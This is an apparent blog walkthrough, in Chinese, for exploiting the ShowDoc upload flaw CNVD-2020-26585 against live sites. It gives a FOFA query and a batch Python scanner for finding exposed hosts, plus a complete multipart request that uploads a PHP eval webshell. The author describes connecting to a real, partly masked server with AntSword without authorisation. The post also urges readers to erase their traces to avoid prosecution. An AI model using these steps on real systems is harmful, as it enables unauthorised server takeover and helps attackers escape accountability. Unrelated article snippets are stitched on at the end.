0x03 ShowDoc 文件上传漏洞(CNVD-2020-26585)复现
参考:ShowDoc文件上传漏洞(CNVD-2020-26585)_showdoc漏洞-CSDN博客
一、fofa 搜索使用该工具的网站
网络空间测绘,网络空间安全搜索引擎,网络空间搜索引擎,安全态势感知 - FOFA网络空间测绘系统
"ShowDoc"

二、验证目标url是否存在漏洞
手动验证
在url后面拼接
?s=/home/page/uploadImg
如果能成功访问就说明有可能存在漏洞,是否存在漏洞还需要后续进行上传测试

编写python脚本进行批量验证
首先你可以编写个搜索fofa的脚本,用来收集目标ip
搜索ip脚本的编写教程:Python教程:如何用Python编写FOFA爬虫获取信息?_fofa python-CSDN博客

然后就可以编写ip验证脚本
import requests# 读取本地的 ip.txt 文件
def read_urls(file_path):with open(file_path, 'r') as file:urls = file.readlines()return [url.strip() for url in urls]# 测试 URL 是否存在漏洞
def test_vulnerabilities(urls, timeout=3):endpoint = '/?s=/home/page/uploadImg'keyword = '没有上传的文件'for url in urls:full_url = url + endpointtry:response = requests.get(full_url, timeout=timeout)if response.status_code == 200 and keyword in response.text:print(f"Potential vulnerability found at: {full_url}")else:pass# print(f"No vulnerability detected at: {full_url} (Status Code: {response.status_code})")except requests.RequestException as e:pass# print(f"Error accessing {full_url}: {e}")# 主函数
def main():file_path = 'ip.txt'urls = read_urls(file_path)test_vulnerabilities(urls)if __name__ == "__main__":main()

三、尝试上传webshell
随便选择一个可能存在漏洞的url进行复现
使用bp抓包

发送到重发器

将请求改成post请求

然后在请求体后面加上payload
payload
Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617
Content-Length: 257----------------------------921378126371623762173617
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain<?php eval(@$_POST['mima']);?>
----------------------------921378126371623762173617--
以下是对每部分的详细解释:
-
Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617:Content-Type: multipart/form-data指定了请求的主体是multipart/form-data格式,这种格式通常用于上传文件或包含多个部分的数据。boundary=--------------------------921378126371623762173617是分隔符,它用于分隔请求中的各个部分。边界值用于在请求体中分隔不同的数据部分。
-
Content-Length: 257:- 指示请求体的长度为 257 字节。这是请求体的总字节数,包括所有分隔符和数据。
-
----------------------------921378126371623762173617:- 这是第一个分隔符,表示请求体的开始。这是用来分隔请求中的第一个部分的边界。
-
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php":Content-Disposition: form-data表示这是表单数据的一部分。name="editormd-image-file"指定了表单字段的名称,这里是editormd-image-file。filename="test.<>php"指定了上传文件的名称,这里是test.<>php。
-
Content-Type: text/plain:- 指定了上传文件的 MIME 类型,这里是
text/plain,表示文件的内容是纯文本。
- 指定了上传文件的 MIME 类型,这里是
-
<?php eval(@$_POST['mima']);?>:- 这是文件
test.<>php中的内容。它是一个 PHP 代码片段,用于执行传入的 PHP 代码。eval(@$_POST['mima']);会执行 POST 请求中mima字段的内容,这可能会导致代码执行漏洞,允许攻击者在服务器上执行任意代码。
- 这是文件
-
----------------------------921378126371623762173617--:- 这是请求体的结束分隔符,标志着请求体的结束。


四、使用工具(蚁剑、菜刀、冰蝎、哥斯拉)尝试连接webshell
这里用蚁剑演示,复制链接至蚁剑,将所有的“\”去除

去除 / 反斜杠后链接就会变成这样
http://14.***.***.152:8082/Public/Uploads/2024-08-22/66c744243f700.php
连接密码:mima

可以连接后就可以进入虚拟终端执行一些命令,比如查看当前权限

可以继续上传msf或cs的马进行操作提权,但是我没有目标的授权就不继续下去了,如果你需要学习这方面的知识,可以订阅我的专栏:49-4 内网渗透 - 不安全的服务权限提权_windows提权--不安全的服务权限的原理-CSDN博客

最后记住,清除我们的渗透痕迹,防止别人进行溯源,起诉我们。

免责声明
欢迎访问我的博客。以下内容仅供教育和信息用途:
-
合法性:我不支持或鼓励非法活动。请确保遵守法律法规。
-
信息准确性:尽管我尽力提供准确的信息,但不保证其完全准确或适用。使用前请自行验证。
-
风险提示:技术使用可能带来风险,如系统损坏或数据丢失。请谨慎使用,并自行承担风险。
-
责任限制:我对使用博客内容产生的任何损害不承担责任。
-
第三方链接:博客中的链接仅为方便用户,内容不由我负责。
使用本博客即表示您同意以上条款。如果有疑问,请联系我。
相关文章:
0x03 ShowDoc 文件上传漏洞(CNVD-2020-26585)复现
参考:ShowDoc文件上传漏洞(CNVD-2020-26585)_showdoc漏洞-CSDN博客 一、fofa 搜索使用该工具的网站 网络空间测绘,网络空间安全搜索引擎,网络空间搜索引擎,安全态势感知 - FOFA网络空间测绘系统 "S…...
【大模型从入门到精通34】开源库框架LangChain 利用LangChain构建聊天机器人1
这里写目录标题 利用LangChain构建聊天机器人介绍介绍对话型聊天机器人构建环境环境变量和平台设置 加载文档和创建向量存储高级检索技术对话上下文和记忆纳入聊天历史会话缓冲内存 构建对话检索链环境设置与API密钥配置选择合适的语言模型版本Q&A系统设置 利用LangChain构…...
魔法糖果工厂
LYA 是一家魔法糖果工厂的新任管理员。工厂生产的魔法糖果有七种颜色,分别用字母 a、b、c、d、e、f、g 表示。这些糖果被排列在一条传送带上,准备进行包装。为了提高效率,工厂引进了一台智能包装机器人。这个机器人可以按照预设的指令序列来包…...
NVM安装管理node.js版本(简单易懂)
一、前言 1.1 简介 NVM(Node Version Manager)是 node.js 的版本管理器,用 shell 脚本切换机器中不同版本的 nodejs。 Nodejs为什么需要多个版本? 有经验的开发者可能遇到过,某个依赖包明确nodejs是某个版本&#…...
第1章-04-Chrome及Chrome Driver安装及测试
🏆作者简介,黑夜开发者,CSDN领军人物,全栈领域优质创作者✌,CSDN博客专家,阿里云社区专家博主,2023年CSDN全站百大博主。 🏆数年电商行业从业经验,历任核心研发工程师&am…...
【Linux】SSH 隧道转发场景搭建
ssh建立隧道转发 A设备:没有公网IP地址的本地设备,如本地内网服务器(需要能通公网) B设备:有公网IP地址的服务器,可以是云服务器 C设备:终端设备,想通过公网服务器B访问到设备A 要…...
前后端部署-服务器linux中安装数据库Mysql8
一、登录Xshell7 && 开放Mysql 3306端口, Redis 6379 端口 二、手动部署MySQL数据库 1.运行以下命令,更新YUM源。 sudo rpm -Uvh https://dev.mysql.com/get/mysql80-community-release-el7-7.noarch.rpm 2.运行以下命令,安装My…...
如何使用jd-gui对springboot源码进行分析
背景: 最近在学习springboot的过滤器和拦截器,想了解一下过滤器和拦截器是怎么匹配URL的,在网上搜了半天都搜不到针对源码的,网上大部分内容都是说怎么配置过滤器和拦截器,怎么使用,并没有对源码进行分析的…...
原来ChatGPT是这么评价《黑神话:悟空》的啊?
《黑神话:悟空》一经上线便迅速吸引了全球的目光,成为了今日微博热搜榜上的焦点话题。作为中国首款现象级的中国3A大作,它的发布无疑引发了广泛的关注与讨论。 《黑神话:悟空》,这款3A国产游戏大作,由国内游…...
C语言第17篇
1.在C语言中,全局变量的存储类别是_________. A) static B) extern C) void D) register 提示:extern adj.外来的 register n.登记表,v.登记 提示与本题无关 2.在一个C源程序文件中,要定义一个只允许本源文件中所有函数使用的全局变…...
Springboot+vue实现webScoket
需求 因为在做的项目中,有多个网站登录同一个用户,故想在某一个页面登录或者退出的时候,对其他页面进行相同的操作 跨域,跨页面,跨项目,跨标签页,https 因为一开始不像麻烦后端,所以…...
CSS知识点详解:display+float
display:浮动 1.block:使元素呈现为块级元素,可设置宽高 display: block; 特点:使元素呈现为块级元素,即该元素会以新行开始,占据整行的宽度,即使其宽度未满。 例子: 2.inline&a…...
ant design pro v6 如何做好角色管理
先上图: 整个角色管理是如何做的吗? 首先你要处理后端,要先把角色存到用户那。 这是用户管理部分的内容: 可以看到一个用户是有多个角色的。 看到没有,存的是数组 数组的是一个 role 对象 role 对象是这样…...
C++ 设计模式(3. 抽象工厂模式)
抽象工厂模式也是一种创建型设计模式,提供了一个创建一系列相关或相互依赖对象的接口,而无需指定它们具体的类【引用自大话设计模式第15章】基本结构 抽象工厂模式包含多个抽象产品接口,多个具体产品类,一个抽象工厂接口和多个具体…...
【PHP入门教程】PHPStudy环境搭建+HelloWorld运行
文章目录 PHP 的历史PHP 的用途PHP 的特点和优势PHP 环境搭建环境准备安装window 安装CentOS / Ubuntu / Debian 安装 第一个Hello World使用Apache服务运行命令行运行代码 PHP 的历史 PHP(Hypertext Preprocessor)超文本预处理器是一种开源的通用脚本语…...
补 0 输出。
题目描述 输入一个整数,请在整数前面补 00 补足 88 位后输出。 输入描述 输入一行包含一个整数 nn。 输出描述 输出补00后的整数。 输入输出样例 示例1 输入 2021输出 00002021示例2 输入 202110输出 00202110 import os import sys# 请在此输入您的代码 si…...
因为嫌吵,在自己家也用上了远程控制电脑
加班嘛,赶稿嘛,参加工作的人都懂那种无形的压力和烦躁。 因为家里空间有限,我平常都是直接在客厅用台式电脑加急改写方案,但今天晚上家里来了几位叔,他们边吃饭边聊着秦始皇的话题,都70多分钟了,…...
vue---echarts环形图
1、完整代码直接可以cv <template><div id"main1"></div> </template><script> import * as echarts from echarts; // import { mapState } from vuex; // import { Alarm_Device } from ../utils/api.js; export default {name: P…...
克服编程挫折:从Bug的迷宫中寻找出口与面对算法保持冷静的策略
在编程学习的道路上,挫折感无疑是每个学习者都必须面对的挑战之一。它们仿佛是一座座高墙,阻挡我们前进的步伐。然而,正如许多有经验的编程高手所证明的那样,挫折并不是终点,而是成长和进步的催化剂。本文将分享一些有…...
Flink之SQL client使用案例
Flink的执行模式有以下三种: 前提是我们已经开启了yarnsession的进程,在下图中可以看到启动的id也就是后续任务需要通过此id进行认证,以及任务分配的master主机。 这里启动时候会报错一个ERROR:org.apache.flink.shaded.curator.org.apache…...
Lombok 的 @Data 注解失效,未生成 getter/setter 方法引发的HTTP 406 错误
HTTP 状态码 406 (Not Acceptable) 和 500 (Internal Server Error) 是两类完全不同的错误,它们的含义、原因和解决方法都有显著区别。以下是详细对比: 1. HTTP 406 (Not Acceptable) 含义: 客户端请求的内容类型与服务器支持的内容类型不匹…...
React Native 导航系统实战(React Navigation)
导航系统实战(React Navigation) React Navigation 是 React Native 应用中最常用的导航库之一,它提供了多种导航模式,如堆栈导航(Stack Navigator)、标签导航(Tab Navigator)和抽屉…...
PHP和Node.js哪个更爽?
先说结论,rust完胜。 php:laravel,swoole,webman,最开始在苏宁的时候写了几年php,当时觉得php真的是世界上最好的语言,因为当初活在舒适圈里,不愿意跳出来,就好比当初活在…...
基于ASP.NET+ SQL Server实现(Web)医院信息管理系统
医院信息管理系统 1. 课程设计内容 在 visual studio 2017 平台上,开发一个“医院信息管理系统”Web 程序。 2. 课程设计目的 综合运用 c#.net 知识,在 vs 2017 平台上,进行 ASP.NET 应用程序和简易网站的开发;初步熟悉开发一…...
条件运算符
C中的三目运算符(也称条件运算符,英文:ternary operator)是一种简洁的条件选择语句,语法如下: 条件表达式 ? 表达式1 : 表达式2• 如果“条件表达式”为true,则整个表达式的结果为“表达式1”…...
测试markdown--肇兴
day1: 1、去程:7:04 --11:32高铁 高铁右转上售票大厅2楼,穿过候车厅下一楼,上大巴车 ¥10/人 **2、到达:**12点多到达寨子,买门票,美团/抖音:¥78人 3、中饭&a…...
python如何将word的doc另存为docx
将 DOCX 文件另存为 DOCX 格式(Python 实现) 在 Python 中,你可以使用 python-docx 库来操作 Word 文档。不过需要注意的是,.doc 是旧的 Word 格式,而 .docx 是新的基于 XML 的格式。python-docx 只能处理 .docx 格式…...
基于matlab策略迭代和值迭代法的动态规划
经典的基于策略迭代和值迭代法的动态规划matlab代码,实现机器人的最优运输 Dynamic-Programming-master/Environment.pdf , 104724 Dynamic-Programming-master/README.md , 506 Dynamic-Programming-master/generalizedPolicyIteration.m , 1970 Dynamic-Programm…...
2023赣州旅游投资集团
单选题 1.“不登高山,不知天之高也;不临深溪,不知地之厚也。”这句话说明_____。 A、人的意识具有创造性 B、人的认识是独立于实践之外的 C、实践在认识过程中具有决定作用 D、人的一切知识都是从直接经验中获得的 参考答案: C 本题解…...
React---day11
14.4 react-redux第三方库 提供connect、thunk之类的函数 以获取一个banner数据为例子 store: 我们在使用异步的时候理应是要使用中间件的,但是configureStore 已经自动集成了 redux-thunk,注意action里面要返回函数 import { configureS…...
